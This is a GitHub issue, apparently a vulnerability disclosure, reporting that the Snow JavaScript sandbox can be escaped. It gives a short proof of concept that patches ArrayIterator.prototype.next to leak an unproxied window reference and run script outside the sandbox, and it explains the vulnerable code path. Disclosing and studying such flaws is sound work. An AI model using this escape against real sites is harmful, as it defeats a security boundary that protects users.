Skip to content

Snow can be bypassed with native Prototype Pollution #149

@terjanq

Description

@terjanq

PoC:

// get the original ArrayIterator.prototype.next method
var next = [].values().__proto__.next;
// overwrite the method
[].values().__proto__.next = function(){
    var x = next.call(this);
    var win = x?.value;
    // leak the window reference
    if(win?.toString() === '[object Window]'){
       win.location = 'about:blank';
       setTimeout(()=>win.alert(1337), 100);
    }
    return x;
}
open().location;

Vulnerable path:

  1. from(arguments) in
    const args = from(arguments);
  2. Passing opened window reference to console.error in

    snow/src/proxy.js

    Lines 48 to 50 in 1c8faa8

    if (Reflect.has(opened, property)) {
    throw error(ERR_OPENED_PROP_ACCESS_BLOCKED, property, opened);
    }

Description

Accessing the arguments variable inside a function scope returns an array-like object which looks like the following:

Arguments(3) [1, 2, 3, callee: ƒ abc(), length: 3, Symbol(Symbol.iterator): ƒ values(), [[Prototype]]: Object

It defines a @@iterator symbol used to generate an ArrayIterator object, which Array.from() calls internally. We can overwrite ArrayIterator.prototype.next to leak the function arguments passed to Array.from, one of which is an unproxied reference to the window that can be used to execute unsandboxed JS.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions